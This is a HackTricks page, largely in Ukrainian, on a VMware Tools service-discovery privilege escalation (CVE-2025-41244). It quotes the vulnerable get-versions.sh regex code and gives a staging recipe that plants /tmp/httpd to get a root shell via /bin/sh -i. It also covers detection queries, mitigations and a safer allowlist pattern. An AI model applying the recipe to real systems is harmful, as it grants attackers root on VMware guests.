VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Ця техніка зловживає конвеєрами service discovery, керованими regex, які парсять командні рядки запущених процесів, щоб визначити версії сервісів, а потім виконують кандидатний бінарник з прапорцем "version". Коли занадто дозволяючі патерни приймають ненадійні, атакуючим керовані шляхи (наприклад, /tmp/httpd), привілейований колектор виконує довільний бінарник з ненадійного розташування, що призводить до local privilege escalation. NVISO задокументувала це в VMware Tools/Aria Operations Service Discovery як CVE-2025-41244.
- Impact: Local privilege escalation to root (or to the privileged discovery account)
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
How VMware service discovery works (high level)
- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
Обидва режими в кінцевому підсумку виконують shell-логіку, яка сканує процеси з прослуховувальними сокетами, витягує відповідний шлях до команди за допомогою regex і виконує перший токен argv з прапорцем version.
Root cause and vulnerable pattern (open-vm-tools)
В open-vm-tools, плагін serviceDiscovery — скрипт get-versions.sh — знаходить кандидатні бінарні файли за широкими регулярними виразами і виконує перший токен без будь-якої валідації довіреного шляху:
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
Викликається з дозволяючими шаблонами, що містять \S (непробільний символ), які охоче відповідатимуть несистемним шляхам у місцях, доступних для запису користувачем:
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
- Екстракція використовує grep -Eo і бере перший токен: ${COMMAND%%[[:space:]]*}
- Немає whitelist/allowlist довірених системних шляхів; будь-який виявлений listener з відповідною назвою виконується з -v/--version
This creates an untrusted search path execution primitive: довільні бінарні файли, розташовані в директоріях з доступом для запису для всіх (наприклад, /tmp/httpd), виконуються привілейованим компонентом.
Експлуатація (як без облікових даних, так і з обліковими даними)
Передумови
- Ви можете запустити непривілейований процес, який відкриває слухаючий сокет на гостьовій ОС.
- Завдання discovery увімкнене і виконується періодично (історично ~5 хвилин).
Кроки
- Розмістіть бінарний файл у шляху, що відповідає одному з дозволених регулярних виразів, наприклад /tmp/httpd або ./nginx
- Запустіть його від імені користувача з низькими привілеями і переконайтеся, що він відкриває будь-який слухаючий сокет
- Зачекайте на цикл discovery; привілейований collector автоматично виконає: /tmp/httpd -v (або подібне), запустивши вашу програму як root
Мінімальний демонстраційний приклад (використовуючи підхід NVISO)
# Build any small helper that:
# - default mode: opens a dummy TCP listener
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
# Example staging and trigger
cp your_helper /tmp/httpd
chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action
Типова послідовність процесів
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
Артефакти (credential-based) Відновлені SDMP wrapper scripts у /tmp/VMware-SDMP-Scripts-{UUID}/ можуть показувати пряме виконання зловмисного шляху:
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
Узагальнення техніки: regex-driven discovery abuse (портативний шаблон)
Багато агентів та систем моніторингу реалізують виявлення версій/сервісів шляхом:
- Перелічення процесів з прослуховуваними сокетами
- Перевірки argv/рядків команд з використанням дозволяючих regex-виразів (наприклад, шаблонів, що містять \S)
- Виконання співпадаючого шляху з нешкідливим прапорцем, наприклад -v, --version, -V, -h
Якщо regex приймає ненадійні шляхи, а шлях виконується з привілейованого контексту, це призводить до CWE-426 Untrusted Search Path execution.
Abuse recipe
- Назвіть свій бінарний файл подібно до загальних демонів, які regex імовірно співпаде з: httpd, nginx, mysqld, dataserver
- Розмістіть його в записуваному каталозі: /tmp/httpd, ./nginx
- Переконайтеся, що він відповідає regex і відкриває будь-який порт, щоб його могли виявити
- Чекайте на запланований collector; ви отримаєте автоматичний привілейований виклик
-v
Masquerading note: Це відповідає MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) для збільшення ймовірності співпадіння та прихованості.
Повторно використовуваний трюк релейного привілейованого I/O
- Побудуйте свій helper так, щоб при привілейованому виклику (-v/--version) він підключався до відомого rendezvous (наприклад, абстрактного Linux UNIX-сокета на кшталт @cve) і мостив stdio до /bin/sh -i. Це уникає артефактів на диску і працює в багатьох середовищах, де той самий бінар повторно викликається з прапором.
Виявлення та керівництво DFIR
Пошукові запити
- Незвичні дочірні процеси vmtoolsd або get-versions.sh, такі як /tmp/httpd, ./nginx, /tmp/mysqld
- Будь-яке виконання абсолютних шляхів не з системних префіксів скриптами виявлення (шукайте пробіли в розгортаннях ${COMMAND%%...})
- ps -ef --forest для візуалізації дерева предків: vmtoolsd -> get-versions.sh ->
У Aria SDMP (на основі облікових даних)
- Перевірте /tmp/VMware-SDMP-Scripts-{UUID}/ на предмет тимчасових скриптів та артефактів stdout/stderr, що показують виконання шляхів атакуючого
Політика/телеметрія
- Сигналізувати, коли привілейовані collectors виконуються з несистемних префіксів: ^/(tmp|home|var/tmp|dev/shm)/
- Моніторинг цілісності файлів для get-versions.sh та плагінів VMware Tools
Міри пом'якшення
- Patch: застосуйте оновлення Broadcom/VMware для CVE-2025-41244 (Tools and Aria Operations SDMP)
- Вимкніть або обмежте виявлення без облікових даних там, де це можливо
- Перевіряйте довірені шляхи: обмежуйте виконання до дозволених каталогів (/usr/sbin, /usr/bin, /sbin, /bin) та лише до точно відомих бінарів
- Уникайте дозволяючих regex-виразів з \S; віддавайте перевагу заякореним, явним абсолютним шляхам та точним іменам команд
- Знижуйте привілеї для допоміжних процесів виявлення там, де можливо; ізолюйте в sandbox (seccomp/AppArmor), щоб зменшити наслідки
- Моніторьте та сигналізуйте, коли vmtoolsd/get-versions.sh виконує несистемні шляхи
Примітки для захисників та впроваджувачів
Більш безпечний шаблон відповідності та виконання
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
# Good: strict allowlist + path checks
candidate=$(get_command_line "$pid" | awk '{print $1}')
case "$candidate" in
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
"$candidate" -v 2>&1 ;;
*)
: # ignore non-allowlisted paths
;;
esac
Посилання
- NVISO – You name it, VMware elevates it (CVE-2025-41244)
- Broadcom advisory for CVE-2025-41244
- open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)
- MITRE ATT&CK T1036.005 – Match Legitimate Name or Location
- CWE-426: Untrusted Search Path
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.